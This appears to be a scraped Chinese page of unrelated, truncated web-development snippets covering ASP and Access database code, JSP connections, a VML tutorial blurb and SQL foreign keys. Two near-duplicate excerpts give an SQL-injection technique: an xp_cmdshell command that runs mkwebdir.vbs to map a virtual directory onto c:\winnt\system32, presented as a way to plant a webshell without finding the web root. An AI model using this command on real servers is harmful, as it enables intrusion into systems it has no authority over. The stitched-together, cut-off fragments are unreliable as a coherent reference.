sql注入建立虚拟目录，免得找web绝对路径----------------------------------------------------------------我们很多情况下都遇到sql注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：execmaster.dbo.xp_cmdshell'cscriptC:\Interpub\AdminScripts\mkwebdir.vbs-clocalhost-w"l"-v"win","c:\winnt\system32"'建立虚拟目录win,指向c:\winnt\system32exec...

1. 在站点（我的站点为：E:\javatest）下建立文件夹“AccessDb”并在文件夹下建立数据库“test.mdb”以及表“stu”，stu字段为 id,stuname      test.mdb所在路径为：E:\javatest\AccessDb 下面如下图：2.在站点（E:\javatest）下建立测试连接数据库文件“AccessTest.jsp”代码如下：<%@ page contentType="text/html; charset=gb2312"&nb...

我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错： exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"’ 建立虚拟目录win,指向c:\winnt\sy...

你是否为自己设计的数据库感到满足了呢？你确信就不要对其再处理？比如新建立数据库表，比如建立或者修改某个字段……当然这些都属于设计数据库之列。那么，你正常的操作又是不是下载数据库到本机，然后打开之进行修改，接着再上传上去？十有八九都是如此-_-!现在，你可以接触下有关于此的信息了，毕竟代码的功能是为手动的操作省了不少时间。不过代码的生成也还不是手工？呵呵：）1，建立数据库文件cnbruce.mdb（不设计任何表）建立数据库的代码：<%OptionExplicitdimdatabasename'定义数据库名称databasename="cnbruce.mdb"'数据库名称dimdatabas...

该贴的内容，请务必字句阅读，因为这是免费赠送给所有WEBIT人的一个技术大蛋糕！注释:以下所有的URL演示地址，因人流问题会较慢，其加载时请耐心等待，并尝试使用不同地址分流。《VML极道教程》简介：以学图用为目标追求、以效求速为极道教程。目前一本相当完整的中文（VML教程+参考手册）合本。此书将使你彻底的精通VML标记、熟悉DVML编程、进而转战WEB实际开发。无论你是笨人、常人、聪明人、IT精英，只要你肯学，熟读本书你就能彻彻底底的精通VML。你或可纯手写代码，实现简单的VML应用。你或可把你对VML标记/编程技术的所学、在加之配合应用FlashVml3.0，开发出强大、一流的VMLWEB应...

业上网是近年来企业界谈论较多的话题之一，电子商务、网上购物、网上广告、网上超市……，这么多企业对上网感兴趣，归根结蒂是因为网上存在无限商机。那么，上网能给企业带来什么?企业怎样才能上网?上网之后企业又应该怎么做?本文将作一些基本介绍。企业为什么要建立网站？充分利用网络资源:Internet是强有力的工具，能以低代价却很方便的把产品或服务的信息发向全世界的每个角落。全世界所有客户都能通过网站，了解企业。Intemet已经连接了相当多的网民、企业、机构和政府，而且向着更广阔的范围发展。Intemet在中国正以几何级数速度发展，因此，任何一家企业，都不应置身于Intemet之外，那会脱离企业发展最基...

[html]<script language="JScript">function bb3(){alert(location)}function aa(){this.bb=bb3}var cc=new aaalert(aa.dd);aa = null;cc.bb();</script>[/html]...

建立外键的前提：本表的列必须与外键类型相同(外键必须是外表主键)。外键作用： 使两张表形成关联，外键只能引用外表中的列的值！指定主键关键字： foreign key(列名)引用外键关键字： references <外键表名>(外键列名)事件触发限制: on delete和on update , 可设参数cascade(跟随外键改动), restrict(限制外表中的外键改动),set Null(设空值）,set Default（设默认值）,[默认]no&...

一个方法是利用IndexServerqueryobject和参数：<%SetQ=Sever.CreatObject("ixsso.Query")     '创建查询对象.SetUtil=Sever.CreatObject("ixsso.Util")Q.Query=Request("SearchString")        '查询字段.Q.SortBy="rank[d]"       '按照...

creatfolder.htm'表单文件.<formname="form1"method="post"action="folder.asp">创建一个文件夹:<inputtype="text"name="name"><inputtype="submit"name="Submit"value="提交"></form> folder.asp<%@LANGUAGE="VBScript"%><%DimNameName=Request("Name")setfs=createobject("scripting.filesystem...

如何利用数据库内容建立一个下拉式列表？<%myDSN="DSN=xur;uid=xur;pwd=xur"mySQL="select*fromauthorswhereAU_ID<100"setconntemp=server.createobject("adodb.connection")conntemp.openmyDSNsetrstemp=conntemp.execute(mySQL)ifrstemp.eofthenresponse.write"噢,数据库为空!"response.writemySQLconntemp.closesetconntemp=nothingresponse...